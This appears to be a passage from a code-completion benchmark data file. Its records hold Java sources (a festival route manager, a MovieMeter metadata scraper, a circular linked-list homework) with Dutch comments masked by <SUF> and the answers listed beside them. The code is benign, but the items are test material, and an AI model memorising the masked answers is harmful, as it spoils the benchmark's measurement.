if (element instanceof Signpost)
return (Signpost) element;
for (Signpost sp : _signposts)
{
if (sp.containsPointerTo(element))
{
return sp;
}
}
return null;
}
private boolean isSignpostPointingTo(Signpost signpost, Element goal)
{
if (signpost.containsPointerTo(goal))
{
return true;
}
for (Signpost sp : signpost.getReferencedSignposts())
{
if (isSignpostPointingTo(sp, goal))
{
return true;
}
}
return false;
}
private Signpost getCloserSignPost(Signpost signpost, Element goal)
{
if (signpost.containsPointerTo(goal))
{
return signpost;
}
for (Signpost sp : signpost.getReferencedSignposts())
{
if (this.isSignpostPointingTo(sp, goal))
{
return sp;
}
}
// Fallback:
return this.getPointingSignpost(goal);
}
}
| mschuurmans/23ti1a3_festivalplanner_1.3_2014 | src/src/nl/avans/festivalplanner/utils/RouteManager.java | 1,850 | // STAP 2 == JA: Dan gaan we rechtstreeks naar het doel! | line_comment | nl | /**
*
*/
package nl.avans.festivalplanner.utils;
import java.io.Serializable;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import nl.avans.festivalplanner.model.simulator.Element;
import nl.avans.festivalplanner.model.simulator.Signpost;
/**
* RouteManger (Singleton)
*
* @author Jordy Sipkema
* @version 2.0
*/
public class RouteManager implements Serializable
{
private static RouteManager _instance = null;
private HashSet<Signpost> _signposts = new HashSet<>();
/**
*
*/
private RouteManager()
{
// TODO Auto-generated constructor stub
}
public static RouteManager instance()
{
if (_instance == null)
{
_instance = new RouteManager();
}
return _instance;
}
/**
* Gives the next node someone must walk to in order to reach the final
* destination
*
* @param destination
* the final destination
* @param location
* the current location
* @return The next node (this could be the final destination)
* @author Jordy Sipkema
*/
public Element getNextDestination(Element destination, Element location)
{
if (destination.equals(location)) // Als dit waar is, zijn we klaar.
return location;
Signpost sp_loc = this.getPointingSignpost(location);
Signpost sp_goal = this.getPointingSignpost(destination);
// Controle: Kan ik vanaf dit punt wel naar het doel toe?
if (this.isSignpostPointingTo(sp_loc, destination))
{
// STAP 1: Ben ik al bij een signpost?
if (location instanceof Signpost)
{
// STAP 1 == JA: ga verder >>
// STAP 2: Is de signpost die naar het doel wijst, gelijk aan de
// signpost die naar mijn location wijst?
if (sp_loc.equals(sp_goal))
{
// STAP 2<SUF>
return destination;
}
else
{
// STAP 2 == NEE: Dan gaan we een Signpost dichter naar het
// doel.
return this.getCloserSignPost(sp_loc, destination);
}
}
else
{
// STAP 1 == NEE: Ga hier eerst naar toe.
return sp_loc;
}
}
return sp_goal;
}
/**
* Gets the specified signpost from the list.
*
* @param signpost
* The signpost to search for
* @return The signpost searched for OR null if no signpost is found
* @author Jordy Sipkema
*/
public Signpost getSignpost(Signpost signpost)
{
if (_signposts.contains(signpost))
{
for (Signpost sp : _signposts)
{
if (sp.equals(signpost))
{
return sp;
}
}
}
return null;
}
/**
* Gets all signposts registered in the RouteManager
*
* @return All signposts
* @author Jordy Sipkema
*/
public Set<Signpost> getAllSignposts()
{
return _signposts;
}
/**
* Registers a signpost to the routemanager
*
* @param signpost
* The signpost to add
* @author Jordy Sipkema
*/
public void addSignpost(Signpost signpost)
{
_signposts.add(signpost);
}
/**
* Removes a signpost from the routemanager
*
* WARNING: This method also removes all references to this signpost from
* ALL other signposts that are registered.
*
* @param signpost
* The signpost to remove
* @author Jordy Sipkema
*/
public void removeSignpost(Signpost signpost)
{
_signposts.remove(signpost);
for (Signpost sp : this.getAllSignposts())
{
sp.removePointer(signpost);
}
}
/**
* Adds a pointer to a signpost
*
* @param signpost
* The signpost to add the pointer to
* @param pointTo
* The pointer to be added
* @return Boolean indicating succes.
* @author Jordy Sipkema
*/
public boolean addPointer(Signpost signpost, Element pointTo)
{
Signpost sp = this.getSignpost(signpost);
if (sp != null)
{
sp.addPointer(pointTo);
return true;
}
return false;
}
/**
* Removes a pointer from a singpost
*
* @param signpost
* The signpost to remove the pointer from.
* @param pointTo
* The pointer to be removed
* @return Boolean indicating succes.
* @author Jordy Sipkema
*/
public boolean removePointer(Signpost signpost, Element pointTo)
{
Signpost sp = this.getSignpost(signpost);
if (sp != null)
{
sp.removePointer(pointTo);
return true;
}
return false;
}
/**
* Gets the signpost that is pointing to the given element
*
* @param element
* The element searching a pointer to
* @return The signpost that is pointing to this element OR if the element
* is a signpost, the element (as a signpost)
* @author Jordy Sipkema
*/
public Signpost getPointingSignpost(Element element)
{
if (element instanceof Signpost)
return (Signpost) element;
for (Signpost sp : _signposts)
{
if (sp.containsPointerTo(element))
{
return sp;
}
}
return null;
}
private boolean isSignpostPointingTo(Signpost signpost, Element goal)
{
if (signpost.containsPointerTo(goal))
{
return true;
}
for (Signpost sp : signpost.getReferencedSignposts())
{
if (isSignpostPointingTo(sp, goal))
{
return true;
}
}
return false;
}
private Signpost getCloserSignPost(Signpost signpost, Element goal)
{
if (signpost.containsPointerTo(goal))
{
return signpost;
}
for (Signpost sp : signpost.getReferencedSignposts())
{
if (this.isSignpostPointingTo(sp, goal))
{
return sp;
}
}
// Fallback:
return this.getPointingSignpost(goal);
}
}
|
128288_8 | /*
* Copyright 2012 - 2016 Manuel Laggner
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.tinymediamanager.scraper.moviemeter;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.tinymediamanager.scraper.MediaMetadata;
import org.tinymediamanager.scraper.MediaProviderInfo;
import org.tinymediamanager.scraper.MediaScrapeOptions;
import org.tinymediamanager.scraper.MediaSearchOptions;
import org.tinymediamanager.scraper.MediaSearchResult;
import org.tinymediamanager.scraper.entities.MediaArtwork;
import org.tinymediamanager.scraper.entities.MediaCastMember;
import org.tinymediamanager.scraper.entities.MediaCastMember.CastType;
import org.tinymediamanager.scraper.entities.MediaGenres;
import org.tinymediamanager.scraper.entities.MediaType;
import org.tinymediamanager.scraper.mediaprovider.IMovieMetadataProvider;
import org.tinymediamanager.scraper.moviemeter.entities.MMActor;
import org.tinymediamanager.scraper.moviemeter.entities.MMFilm;
import org.tinymediamanager.scraper.util.ApiKey;
import org.tinymediamanager.scraper.util.LanguageUtils;
import org.tinymediamanager.scraper.util.MetadataUtil;
import net.xeoh.plugins.base.annotations.PluginImplementation;
import retrofit.RetrofitError;
/**
* The Class MoviemeterMetadataProvider. A meta data provider for the site moviemeter.nl
*
* @author Myron Boyle ([email protected])
*/
@PluginImplementation
public class MovieMeterMetadataProvider implements IMovieMetadataProvider {
private static final Logger LOGGER = LoggerFactory.getLogger(MovieMeterMetadataProvider.class);
private static MovieMeter api;
private static MediaProviderInfo providerInfo = createMediaProviderInfo();
public MovieMeterMetadataProvider() {
}
private static MediaProviderInfo createMediaProviderInfo() {
MediaProviderInfo providerInfo = new MediaProviderInfo("moviemeter", "moviemeter.nl",
"<html><h3>Moviemeter.nl</h3><br />A dutch movie database.<br /><br />Available languages: NL</html>",
MovieMeterMetadataProvider.class.getResource("/moviemeter_nl.png"));
providerInfo.setVersion(MovieMeterMetadataProvider.class);
providerInfo.getConfig().addBoolean("scrapeLanguageNames", true);
providerInfo.getConfig().load();
return providerInfo;
}
private static synchronized void initAPI() throws Exception {
if (api == null) {
try {
api = new MovieMeter(ApiKey.decryptApikey("GK5bRYdcKs3WZzOCa1fOQfIeAJVsBP7buUYjc0q4x2/jX66BlSUDKDAcgN/L0JnM"));
// api.setIsDebug(true);
}
catch (Exception e) {
LOGGER.error("MoviemeterMetadataProvider", e);
throw e;
}
}
}
@Override
public MediaProviderInfo getProviderInfo() {
return providerInfo;
}
@Override
public MediaMetadata getMetadata(MediaScrapeOptions options) throws Exception {
// lazy loading of the api
initAPI();
LOGGER.debug("getMetadata() " + options.toString());
// check if there is a md in the result
if (options.getResult() != null && options.getResult().getMediaMetadata() != null) {
LOGGER.debug("MovieMeter: getMetadata from cache: " + options.getResult());
return options.getResult().getMediaMetadata();
}
// get ids to scrape
MediaMetadata md = new MediaMetadata(providerInfo.getId());
int mmId = 0;
// mmId from searchResult
if (options.getResult() != null) {
mmId = Integer.parseInt(options.getResult().getId());// Constants.MOVIEMETERID));
}
// mmId from options
if (StringUtils.isNotBlank(options.getId(providerInfo.getId()))) {
try {
mmId = Integer.parseInt(options.getId(providerInfo.getId()));
}
catch (Exception ignored) {
}
}
// imdbid
String imdbId = options.getImdbId();
if (StringUtils.isBlank(imdbId) && mmId == 0) {
LOGGER.warn("not possible to scrape from Moviemeter.bl - no mmId/imdbId found");
return md;
}
// scrape
MMFilm fd = null;
synchronized (api) {
if (mmId != 0) {
LOGGER.debug("MovieMeter: getMetadata(mmId): " + mmId);
try {
fd = api.getFilmService().getMovieInfo(mmId);
}
catch (RetrofitError e) {
LOGGER.warn("Error getting movie via MovieMeter id: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
else if (StringUtils.isNotBlank(imdbId)) {
LOGGER.debug("MovieMeter: filmSearchImdb(imdbId): " + imdbId);
try {
fd = api.getFilmService().getMovieInfoByImdbId(imdbId);
}
catch (RetrofitError e) {
LOGGER.warn("Error getting movie via IMDB id: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
}
if (fd == null) {
return md;
}
md.setId(MediaMetadata.IMDB, fd.imdb);
md.setTitle(fd.title);
md.setYear(fd.year);
md.setPlot(fd.plot);
md.setTagline(fd.plot.length() > 150 ? fd.plot.substring(0, 150) : fd.plot);
// md.setOriginalTitle(fd.getAlternative_titles());
try {
md.setRating((float) fd.average);
}
catch (Exception e) {
md.setRating(0);
}
md.setId(providerInfo.getId(), fd.id);
try {
md.setRuntime(fd.duration);
}
catch (Exception e) {
md.setRuntime(0);
}
md.setVoteCount(fd.votes_count);
for (String g : fd.genres) {
md.addGenre(getTmmGenre(g));
}
// Poster
MediaArtwork ma = new MediaArtwork(providerInfo.getId(), MediaArtwork.MediaArtworkType.POSTER);
ma.setPreviewUrl(fd.posters.small);
ma.setDefaultUrl(fd.posters.large);
ma.setLanguage(options.getLanguage().getLanguage());
md.addMediaArt(ma);
for (String country : fd.countries) {
if (providerInfo.getConfig().getValueAsBool("scrapeLanguageNames")) {
md.addCountry(LanguageUtils.getLocalizedCountryForLanguage(options.getLanguage(), country));
}
else {
md.addCountry(country);
}
}
for (MMActor a : fd.actors) {
MediaCastMember cm = new MediaCastMember();
cm.setName(a.name);
cm.setType(CastType.ACTOR);
md.addCastMember(cm);
}
for (String d : fd.directors) {
MediaCastMember cm = new MediaCastMember();
cm.setName(d);
cm.setType(CastType.DIRECTOR);
md.addCastMember(cm);
}
return md;
}
@Override
public List<MediaSearchResult> search(MediaSearchOptions query) throws Exception {
// lazy loading of the api
initAPI();
LOGGER.debug("search() " + query.toString());
List<MediaSearchResult> resultList = new ArrayList<>();
String imdb = query.getImdbId();
String searchString = "";
int myear = query.getYear();
// check type
if (query.getMediaType() != MediaType.MOVIE) {
throw new Exception("wrong media type for this scraper");
}
if (StringUtils.isEmpty(searchString) && StringUtils.isNotEmpty(query.getQuery())) {
searchString = query.getQuery();
}
if (StringUtils.isEmpty(searchString)) {
LOGGER.debug("Moviemeter Scraper: empty searchString");
return resultList;
}
searchString = MetadataUtil.removeNonSearchCharacters(searchString);
if (MetadataUtil.isValidImdbId(searchString)) {
// hej, our entered value was an IMDBid :)
imdb = searchString;
}
List<MMFilm> moviesFound = new ArrayList<>();
MMFilm fd = null;
synchronized (api) {
// 1. "search" with IMDBid (get details, well)
if (StringUtils.isNotEmpty(imdb)) {
try {
fd = api.getFilmService().getMovieInfoByImdbId(imdb);
LOGGER.debug("found result with IMDB id");
}
catch (RetrofitError e) {
LOGGER.warn("Error searching by IMDB id: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
// 2. try with searchString
if (fd == null) {
try {
moviesFound.addAll(api.getSearchService().searchFilm(searchString));
LOGGER.debug("found " + moviesFound.size() + " results");
}
catch (RetrofitError e) {
LOGGER.warn("Error searching: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
}
if (fd != null) { // imdb film detail page
MediaSearchResult sr = new MediaSearchResult(providerInfo.getId(), query.getMediaType());
sr.setId(String.valueOf(fd.id));
sr.setIMDBId(imdb);
sr.setTitle(fd.title);
sr.setUrl(fd.url);
sr.setYear(fd.year);
sr.setScore(1);
resultList.add(sr);
}
for (MMFilm film : moviesFound) {
MediaSearchResult sr = new MediaSearchResult(providerInfo.getId(), query.getMediaType());
sr.setId(String.valueOf(film.id));
sr.setIMDBId(imdb);
sr.setTitle(film.title);
sr.setUrl(film.url);
sr.setYear(film.year);
// compare score based on names
float score = MetadataUtil.calculateScore(searchString, film.title);
if (yearDiffers(myear, sr.getYear())) {
float diff = (float) Math.abs(myear - sr.getYear()) / 100;
LOGGER.debug("parsed year does not match search result year - downgrading score by " + diff);
score -= diff;
}
sr.setScore(score);
resultList.add(sr);
}
Collections.sort(resultList);
Collections.reverse(resultList);
return resultList;
}
/**
* Is i1 != i2 (when >0)
*/
private boolean yearDiffers(Integer i1, Integer i2) {
return i1 != null && i1 != 0 && i2 != null && i2 != 0 && i1 != i2;
}
/*
* Maps scraper Genres to internal TMM genres
*/
private MediaGenres getTmmGenre(String genre) {
MediaGenres g = null;
if (genre.isEmpty()) {
return g;
}
// @formatter:off
else if (genre.equals("Actie")) { g = MediaGenres.ACTION; }
else if (genre.equals("Animatie")) { g = MediaGenres.ANIMATION; }
else if (genre.equals("Avontuur")) { g = MediaGenres.ADVENTURE; }
else if (genre.equals("Documentaire")) { g = MediaGenres.DOCUMENTARY; }
else if (genre.equals("Drama")) { g = MediaGenres.DRAMA; }
else if (genre.equals("Erotiek")) { g = MediaGenres.EROTIC; }
else if (genre.equals("Familie")) { g = MediaGenres.FAMILY; }
else if (genre.equals("Fantasy")) { g = MediaGenres.FANTASY; }
else if (genre.equals("Film noir")) { g = MediaGenres.FILM_NOIR; }
else if (genre.equals("Horror")) { g = MediaGenres.HORROR; }
else if (genre.equals("Komedie")) { g = MediaGenres.COMEDY; }
else if (genre.equals("Misdaad")) { g = MediaGenres.CRIME; }
else if (genre.equals("Muziek")) { g = MediaGenres.MUSIC; }
else if (genre.equals("Mystery")) { g = MediaGenres.MYSTERY; }
else if (genre.equals("Oorlog")) { g = MediaGenres.WAR; }
else if (genre.equals("Roadmovie")) { g = MediaGenres.ROAD_MOVIE; }
else if (genre.equals("Romantiek")) { g = MediaGenres.ROMANCE; }
else if (genre.equals("Sciencefiction")) { g = MediaGenres.SCIENCE_FICTION; }
else if (genre.equals("Thriller")) { g = MediaGenres.THRILLER; }
else if (genre.equals("Western")) { g = MediaGenres.WESTERN; }
// @formatter:on
if (g == null) {
g = MediaGenres.getGenre(genre);
}
return g;
}
}
| msgpo/scraper-moviemeter | src/main/java/org/tinymediamanager/scraper/moviemeter/MovieMeterMetadataProvider.java | 4,033 | // hej, our entered value was an IMDBid :) | line_comment | nl | /*
* Copyright 2012 - 2016 Manuel Laggner
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.tinymediamanager.scraper.moviemeter;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.tinymediamanager.scraper.MediaMetadata;
import org.tinymediamanager.scraper.MediaProviderInfo;
import org.tinymediamanager.scraper.MediaScrapeOptions;
import org.tinymediamanager.scraper.MediaSearchOptions;
import org.tinymediamanager.scraper.MediaSearchResult;
import org.tinymediamanager.scraper.entities.MediaArtwork;
import org.tinymediamanager.scraper.entities.MediaCastMember;
import org.tinymediamanager.scraper.entities.MediaCastMember.CastType;
import org.tinymediamanager.scraper.entities.MediaGenres;
import org.tinymediamanager.scraper.entities.MediaType;
import org.tinymediamanager.scraper.mediaprovider.IMovieMetadataProvider;
import org.tinymediamanager.scraper.moviemeter.entities.MMActor;
import org.tinymediamanager.scraper.moviemeter.entities.MMFilm;
import org.tinymediamanager.scraper.util.ApiKey;
import org.tinymediamanager.scraper.util.LanguageUtils;
import org.tinymediamanager.scraper.util.MetadataUtil;
import net.xeoh.plugins.base.annotations.PluginImplementation;
import retrofit.RetrofitError;
/**
* The Class MoviemeterMetadataProvider. A meta data provider for the site moviemeter.nl
*
* @author Myron Boyle ([email protected])
*/
@PluginImplementation
public class MovieMeterMetadataProvider implements IMovieMetadataProvider {
private static final Logger LOGGER = LoggerFactory.getLogger(MovieMeterMetadataProvider.class);
private static MovieMeter api;
private static MediaProviderInfo providerInfo = createMediaProviderInfo();
public MovieMeterMetadataProvider() {
}
private static MediaProviderInfo createMediaProviderInfo() {
MediaProviderInfo providerInfo = new MediaProviderInfo("moviemeter", "moviemeter.nl",
"<html><h3>Moviemeter.nl</h3><br />A dutch movie database.<br /><br />Available languages: NL</html>",
MovieMeterMetadataProvider.class.getResource("/moviemeter_nl.png"));
providerInfo.setVersion(MovieMeterMetadataProvider.class);
providerInfo.getConfig().addBoolean("scrapeLanguageNames", true);
providerInfo.getConfig().load();
return providerInfo;
}
private static synchronized void initAPI() throws Exception {
if (api == null) {
try {
api = new MovieMeter(ApiKey.decryptApikey("GK5bRYdcKs3WZzOCa1fOQfIeAJVsBP7buUYjc0q4x2/jX66BlSUDKDAcgN/L0JnM"));
// api.setIsDebug(true);
}
catch (Exception e) {
LOGGER.error("MoviemeterMetadataProvider", e);
throw e;
}
}
}
@Override
public MediaProviderInfo getProviderInfo() {
return providerInfo;
}
@Override
public MediaMetadata getMetadata(MediaScrapeOptions options) throws Exception {
// lazy loading of the api
initAPI();
LOGGER.debug("getMetadata() " + options.toString());
// check if there is a md in the result
if (options.getResult() != null && options.getResult().getMediaMetadata() != null) {
LOGGER.debug("MovieMeter: getMetadata from cache: " + options.getResult());
return options.getResult().getMediaMetadata();
}
// get ids to scrape
MediaMetadata md = new MediaMetadata(providerInfo.getId());
int mmId = 0;
// mmId from searchResult
if (options.getResult() != null) {
mmId = Integer.parseInt(options.getResult().getId());// Constants.MOVIEMETERID));
}
// mmId from options
if (StringUtils.isNotBlank(options.getId(providerInfo.getId()))) {
try {
mmId = Integer.parseInt(options.getId(providerInfo.getId()));
}
catch (Exception ignored) {
}
}
// imdbid
String imdbId = options.getImdbId();
if (StringUtils.isBlank(imdbId) && mmId == 0) {
LOGGER.warn("not possible to scrape from Moviemeter.bl - no mmId/imdbId found");
return md;
}
// scrape
MMFilm fd = null;
synchronized (api) {
if (mmId != 0) {
LOGGER.debug("MovieMeter: getMetadata(mmId): " + mmId);
try {
fd = api.getFilmService().getMovieInfo(mmId);
}
catch (RetrofitError e) {
LOGGER.warn("Error getting movie via MovieMeter id: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
else if (StringUtils.isNotBlank(imdbId)) {
LOGGER.debug("MovieMeter: filmSearchImdb(imdbId): " + imdbId);
try {
fd = api.getFilmService().getMovieInfoByImdbId(imdbId);
}
catch (RetrofitError e) {
LOGGER.warn("Error getting movie via IMDB id: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
}
if (fd == null) {
return md;
}
md.setId(MediaMetadata.IMDB, fd.imdb);
md.setTitle(fd.title);
md.setYear(fd.year);
md.setPlot(fd.plot);
md.setTagline(fd.plot.length() > 150 ? fd.plot.substring(0, 150) : fd.plot);
// md.setOriginalTitle(fd.getAlternative_titles());
try {
md.setRating((float) fd.average);
}
catch (Exception e) {
md.setRating(0);
}
md.setId(providerInfo.getId(), fd.id);
try {
md.setRuntime(fd.duration);
}
catch (Exception e) {
md.setRuntime(0);
}
md.setVoteCount(fd.votes_count);
for (String g : fd.genres) {
md.addGenre(getTmmGenre(g));
}
// Poster
MediaArtwork ma = new MediaArtwork(providerInfo.getId(), MediaArtwork.MediaArtworkType.POSTER);
ma.setPreviewUrl(fd.posters.small);
ma.setDefaultUrl(fd.posters.large);
ma.setLanguage(options.getLanguage().getLanguage());
md.addMediaArt(ma);
for (String country : fd.countries) {
if (providerInfo.getConfig().getValueAsBool("scrapeLanguageNames")) {
md.addCountry(LanguageUtils.getLocalizedCountryForLanguage(options.getLanguage(), country));
}
else {
md.addCountry(country);
}
}
for (MMActor a : fd.actors) {
MediaCastMember cm = new MediaCastMember();
cm.setName(a.name);
cm.setType(CastType.ACTOR);
md.addCastMember(cm);
}
for (String d : fd.directors) {
MediaCastMember cm = new MediaCastMember();
cm.setName(d);
cm.setType(CastType.DIRECTOR);
md.addCastMember(cm);
}
return md;
}
@Override
public List<MediaSearchResult> search(MediaSearchOptions query) throws Exception {
// lazy loading of the api
initAPI();
LOGGER.debug("search() " + query.toString());
List<MediaSearchResult> resultList = new ArrayList<>();
String imdb = query.getImdbId();
String searchString = "";
int myear = query.getYear();
// check type
if (query.getMediaType() != MediaType.MOVIE) {
throw new Exception("wrong media type for this scraper");
}
if (StringUtils.isEmpty(searchString) && StringUtils.isNotEmpty(query.getQuery())) {
searchString = query.getQuery();
}
if (StringUtils.isEmpty(searchString)) {
LOGGER.debug("Moviemeter Scraper: empty searchString");
return resultList;
}
searchString = MetadataUtil.removeNonSearchCharacters(searchString);
if (MetadataUtil.isValidImdbId(searchString)) {
// hej, our<SUF>
imdb = searchString;
}
List<MMFilm> moviesFound = new ArrayList<>();
MMFilm fd = null;
synchronized (api) {
// 1. "search" with IMDBid (get details, well)
if (StringUtils.isNotEmpty(imdb)) {
try {
fd = api.getFilmService().getMovieInfoByImdbId(imdb);
LOGGER.debug("found result with IMDB id");
}
catch (RetrofitError e) {
LOGGER.warn("Error searching by IMDB id: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
// 2. try with searchString
if (fd == null) {
try {
moviesFound.addAll(api.getSearchService().searchFilm(searchString));
LOGGER.debug("found " + moviesFound.size() + " results");
}
catch (RetrofitError e) {
LOGGER.warn("Error searching: " + e.getBodyAs(MovieMeter.ErrorResponse.class));
}
}
}
if (fd != null) { // imdb film detail page
MediaSearchResult sr = new MediaSearchResult(providerInfo.getId(), query.getMediaType());
sr.setId(String.valueOf(fd.id));
sr.setIMDBId(imdb);
sr.setTitle(fd.title);
sr.setUrl(fd.url);
sr.setYear(fd.year);
sr.setScore(1);
resultList.add(sr);
}
for (MMFilm film : moviesFound) {
MediaSearchResult sr = new MediaSearchResult(providerInfo.getId(), query.getMediaType());
sr.setId(String.valueOf(film.id));
sr.setIMDBId(imdb);
sr.setTitle(film.title);
sr.setUrl(film.url);
sr.setYear(film.year);
// compare score based on names
float score = MetadataUtil.calculateScore(searchString, film.title);
if (yearDiffers(myear, sr.getYear())) {
float diff = (float) Math.abs(myear - sr.getYear()) / 100;
LOGGER.debug("parsed year does not match search result year - downgrading score by " + diff);
score -= diff;
}
sr.setScore(score);
resultList.add(sr);
}
Collections.sort(resultList);
Collections.reverse(resultList);
return resultList;
}
/**
* Is i1 != i2 (when >0)
*/
private boolean yearDiffers(Integer i1, Integer i2) {
return i1 != null && i1 != 0 && i2 != null && i2 != 0 && i1 != i2;
}
/*
* Maps scraper Genres to internal TMM genres
*/
private MediaGenres getTmmGenre(String genre) {
MediaGenres g = null;
if (genre.isEmpty()) {
return g;
}
// @formatter:off
else if (genre.equals("Actie")) { g = MediaGenres.ACTION; }
else if (genre.equals("Animatie")) { g = MediaGenres.ANIMATION; }
else if (genre.equals("Avontuur")) { g = MediaGenres.ADVENTURE; }
else if (genre.equals("Documentaire")) { g = MediaGenres.DOCUMENTARY; }
else if (genre.equals("Drama")) { g = MediaGenres.DRAMA; }
else if (genre.equals("Erotiek")) { g = MediaGenres.EROTIC; }
else if (genre.equals("Familie")) { g = MediaGenres.FAMILY; }
else if (genre.equals("Fantasy")) { g = MediaGenres.FANTASY; }
else if (genre.equals("Film noir")) { g = MediaGenres.FILM_NOIR; }
else if (genre.equals("Horror")) { g = MediaGenres.HORROR; }
else if (genre.equals("Komedie")) { g = MediaGenres.COMEDY; }
else if (genre.equals("Misdaad")) { g = MediaGenres.CRIME; }
else if (genre.equals("Muziek")) { g = MediaGenres.MUSIC; }
else if (genre.equals("Mystery")) { g = MediaGenres.MYSTERY; }
else if (genre.equals("Oorlog")) { g = MediaGenres.WAR; }
else if (genre.equals("Roadmovie")) { g = MediaGenres.ROAD_MOVIE; }
else if (genre.equals("Romantiek")) { g = MediaGenres.ROMANCE; }
else if (genre.equals("Sciencefiction")) { g = MediaGenres.SCIENCE_FICTION; }
else if (genre.equals("Thriller")) { g = MediaGenres.THRILLER; }
else if (genre.equals("Western")) { g = MediaGenres.WESTERN; }
// @formatter:on
if (g == null) {
g = MediaGenres.getGenre(genre);
}
return g;
}
}
|
52485_8 | /**
* TINPRO04-3 Les 7-HW // Circular Doubly Linked List, non-generic
* 20240217 // [email protected]
*
*/
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class AppCircular {
public static void main(String[] args) {
// Lees ./input in zoals behandeld in Les 6: File I/O
String input = "";
try { input = Files.readString(Paths.get("./input")); }
catch ( IOException e ) { e.printStackTrace(); }
// Split het bestand op in een array van woorden (String)
String splitString[] = input.split(" ");
// Stop alle woorden in de LinkedList, achter elkaar.
LinkedList list = new LinkedList();
for (String str : splitString) {
list.push(str);
}
// Tests
list.print();
list.pop("actually");
list.print();
list.pop(2);
list.print();
}
}
/**
* Grote verschil is de toevoeging van de nieuwe field: private Node previous (en bijbehorende get/set-methods).
* Dat vergt ingrijpende aanpassingen aan je LinkedList methods.
*
*/
class Node {
// Fields:
private Node previous;
private Node next;
private String value;
// Constructor(s):
public Node(String value) {
this.value = value;
}
// Get/set methods:
public Node getNext() {
return this.next;
}
public void setNext(Node next) {
this.next = next;
}
public Node getPrevious() {
return this.previous;
}
public void setPrevious(Node previous) {
this.previous = previous;
}
public String getValue() {
return this.value;
}
// Other methods (n/a)
}
/**
* Merk op dat de enige aanpassing ten opzichte van de "gewone" Doubly Linked List
* is dat in alle while-loops de conditie:
* (current.getNext() != null)
* is vervangen door:
* (!current.getNext().equals(this.head))
*
*/
class LinkedList {
// Fields: (Belangrijk: Nieuwe field `Node tail`
// Helpt bij het circulair maken van je lijst)
private Node head;
private Node tail;
// Constructors (n/a)
// Get/set methods (n/a)
// Other methods:
public void push(String value) {
Node newNode = new Node(value);
if (this.head == null && this.tail == null) {
this.head = newNode;
this.tail = newNode;
}
else {
Node current = this.head;
while (!current.getNext().equals(this.head)) {
current = current.getNext();
}
current.setNext(newNode);
current.getNext().setPrevious(current); // Staar hier even naar.
this.tail = current.getNext(); // Of: this.tail = newNode
}
// BONUS: Maak de lijst circulair!
// Dit kun je buiten de if/else laten, omdat je dit in beide gevallen hetzelfde zou doen
this.tail.setNext(this.head);
this.head.setPrevious(this.tail);
}
public String pop(String value) {
Node current = this.head;
while (!current.getNext().equals(this.head)) {
if (current.getNext().getValue().equals(value)) {
Node returnNode = current.getNext();
// Verbind de huidige Node aan de eerstvolgende Node na de verwijderde Node
// VERGEET NIET de verbinding in beide richtingen goed te leggen, anders kan de GC z'n werk niet doen
current.setNext(current.getNext().getNext());
current.getNext().setPrevious(current);
// Snij de verbindingen door in het verwijderde object om het geheugen vrij te maken
returnNode.setPrevious(null);
returnNode.setNext(null);
return returnNode.getValue();
}
current = current.getNext();
}
return "Not found";
}
public String pop(int index) {
int currentindex = 0;
Node current = head;
while (currentindex != index && !current.getNext().equals(this.head)) {
if (currentindex == index-1) {
Node returnNode = current.getNext();
// Verbind de huidige Node aan de eerstvolgende Node na de verwijderde Node
// VERGEET NIET de verbinding in beide richtingen goed te leggen
current.setNext(current.getNext().getNext());
current.getNext().setPrevious(current);
// Snij de verbindingen door in het verwijderde object om het geheugen vrij te maken
returnNode.setPrevious(null);
returnNode.setNext(null);
return returnNode.getValue();
}
currentindex++;
current = current.getNext();
}
return "Not found";
}
public String peek(String value) {
Node current = head;
while (!current.getNext().equals(this.head)) {
if (current.getNext().getValue().equals(value)) {
return current.getNext().getValue();
}
current = current.getNext();
}
return "Not found";
}
public void print() {
Node current = this.head;
do {
System.out.print(current.getValue()+" ");
current = current.getNext();
}
while (!current.equals(this.head));
System.out.println();
}
} | mskelo/progdemocode | java3/7-huiswerk/Circular Doubly LL/AppCircular.java | 1,562 | // Helpt bij het circulair maken van je lijst) | line_comment | nl | /**
* TINPRO04-3 Les 7-HW // Circular Doubly Linked List, non-generic
* 20240217 // [email protected]
*
*/
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class AppCircular {
public static void main(String[] args) {
// Lees ./input in zoals behandeld in Les 6: File I/O
String input = "";
try { input = Files.readString(Paths.get("./input")); }
catch ( IOException e ) { e.printStackTrace(); }
// Split het bestand op in een array van woorden (String)
String splitString[] = input.split(" ");
// Stop alle woorden in de LinkedList, achter elkaar.
LinkedList list = new LinkedList();
for (String str : splitString) {
list.push(str);
}
// Tests
list.print();
list.pop("actually");
list.print();
list.pop(2);
list.print();
}
}
/**
* Grote verschil is de toevoeging van de nieuwe field: private Node previous (en bijbehorende get/set-methods).
* Dat vergt ingrijpende aanpassingen aan je LinkedList methods.
*
*/
class Node {
// Fields:
private Node previous;
private Node next;
private String value;
// Constructor(s):
public Node(String value) {
this.value = value;
}
// Get/set methods:
